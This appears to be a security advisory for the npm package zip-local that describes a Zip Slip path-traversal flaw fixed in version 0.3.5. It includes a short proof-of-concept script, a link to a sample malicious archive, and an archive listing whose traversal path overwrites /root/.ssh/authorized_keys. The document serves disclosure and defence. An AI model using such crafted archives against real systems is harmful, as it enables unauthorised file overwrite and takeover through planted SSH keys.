The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade zip-local
to version 0.3.5 or higher.
zip-local is a to zip and unzip local directories
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) which can lead to an extraction of a crafted file outside the intended extraction directory.
var zipper = require('zip-local');
zipper.unzip("zipslip.zip", function(error, unzipped) {
if(!error) {
// extract to the current working directory
unzipped.save(null, function() { });
var unzippedfs = unzipped.memory();
}
});
Execute the following commands
1. npm install zip-local # Install affected module
2. zipslip example file can be found at - https://github.com/snyk/zip-slip-vulnerability/blob/master/archives/zip-slip.zip
3. node poc.js # Run the PoC
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys